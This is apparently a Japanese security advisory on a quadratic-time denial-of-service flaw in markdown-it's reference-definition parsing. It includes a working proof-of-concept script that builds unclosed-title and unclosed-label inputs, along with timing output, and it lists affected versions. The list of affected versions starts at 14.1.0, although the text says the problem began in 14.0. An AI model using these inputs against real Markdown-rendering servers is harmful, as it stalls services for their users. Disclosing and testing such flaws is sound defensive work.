markdown-it: デフォルト設定で、改行を含む単一のリンク参照定義を処理する際に、処理時間が二乗に比例する問題 (14.0以降で発生)。
### 概要
ラベルまたはタイトルが閉じられていないリンク参照定義は、markdown-it 15.0.2において、デフォルト設定ではO(n²)の処理時間となります。継続行は、`src/rules_block/reference.ts`の`str += lineContent`によって遅延ロードされ、その後の`charCodeAt`と`slice`の呼び出しは、V8のコンスタント文字列をフラット化し、それまでに収集されたすべてのデータをコピーします。この処理は、ルールが定義を無効と判断する前に実行されます。これは、14.0.0で導入されたPR #1004によって引き起こされた問題です。13.0.2では、313 KBの入力データを125ミリ秒で処理しましたが、それ以降のバージョンでは、同じ入力データで約11秒かかります。以下に示すサイズの場合、200 KBで3.6秒、400 KBで18.1秒、800 KBで74.0秒かかり、データサイズが2倍になるごとに、処理時間が約4〜5倍になります。この問題を発生させるために、特別な設定は必要ありません。
### 詳細
src/rules_block/reference.tsにおいて、74行目、83行目、100行目、133行目、および150行目で、`str += lineContent`によって継続行が追加されます。その後、ラベルと空白のループでは`str.charCodeAt(pos)`、`parseLinkTitle`では`str.slice(...)`によって、累積された文字列のインデックスが参照されます。V8では`+=`はcons-stringとして扱われ、次の`charCodeAt`または`slice`によって展開され、それまでに収集されたすべてのデータがコピーされるため、n行にわたる定義にはO(n²)の計算コストがかかります。検証の結果、このルールが原因であることが確認されました。インライン処理を無効にしたブロックのみの解析では依然として二次関数的な処理が行われ、`md.disable('reference')`を使用すると同じ入力に対して線形的な処理が可能になり、先頭の`[`がない同じテキストでも線形的な処理になります。解決策は、`str`を構築する代わりに`state.src`内の位置を追跡するか、行のスライスを配列に収集し、それらを解析することです。少なくとも、ラベルの解析を999文字(CommonMark §6.3)で停止し、それ以上の行を読み込まないようにし、タイトルの継続を制限する必要があります。10万行の未終了のタイトルとラベルを含む、極端なテストケースを追加します。プルリクエスト#1215は同じファイルを編集していますが、ラベルのチェックはラベルのループの後に実行されるため、どちらの改善策も適用できません。
PoC(Proof of Concept:概念実証)で観測された出力は以下の通りです。
未終了のタイトル、行数n=100000: 200009バイト、3585.5ミリ秒
未終了のタイトル、行数n=200000: 400009バイト、18107.1ミリ秒(5.05倍)
未終了のタイトル、行数n=400000: 800009バイト、73954.4ミリ秒(4.08倍)
313 KBでのリグレッション比較: 13.0.2 → 125ミリ秒、14.1.0 → 11.4秒、15.0.0 → 10.6秒、15.0.2 → 10.7秒。
### 概念実証
PoCの実行方法:
1. `mkdir -p markdown-it-poc && cd markdown-it-poc`
2. `npm init -y`
3. `npm i markdown-it@15.0.2`
4. `node poc_markdown_it.js`
以下のコードがPoCです。
```javascript
// poc_markdown_it.js
// 必要なもの: npm install markdown-it@15.0.2
const MarkdownIt = require('markdown-it');
const md = new MarkdownIt();
```
```
function bench(label, src) {
const t0 = process.hrtime.bigint();
md.render(src);
const t1 = process.hrtime.bigint();
console.log(
`${label.padEnd(30)} ${String(src.length).padStart(9)} B ${(Number(t1 - t0) / 1e6).toFixed(1).padStart(9)} ms`
);
}
// 閉じられていないタイトル: 参照定義が多くの行にわたる
for (const n of [100000, 200000, 400000]) {
bench(`閉じられていないタイトル n=${n}`, '[a]: /u "' + 'x\n'.repeat(n));
}
// 閉じられていないラベル
for (const n of [5000, 10000, 20000]) {
bench(`閉じられていないラベル n=${n}`, '[' + 'a\n'.repeat(n));
}
```
### 影響
これは、アルゴリズムの複雑性によるサービス拒否攻撃 (CWE-407) です。 デフォルト設定でコメント、課題、チャット、Wiki、ドキュメントプレビュー、およびLLMチャットUIなど、markdown-itを使用してユーザーのMarkdownをレンダリングするサーバーはすべて影響を受けます。 約400KBのリクエストボディは、Node.jsのイベントループを約18秒間ブロックし、約800KBのボディは、約74秒間ブロックします。 これは、GHSA-253cと同じ種類の攻撃であり、同じ攻撃者モデルですが、オプトインオプションなしで到達可能です。なぜなら、影響を受けるパスはコアのルールブロックであるからです。
影響を受けるパッケージ:
- npm (JavaScript) markdown-it: 影響範囲は >= 14.1.0、< 14.3.3、14.3.3で修正済み
- npm (JavaScript) markdown-it: 影響範囲は >= 15.0.0、< 15.0.3、15.0.3で修正済み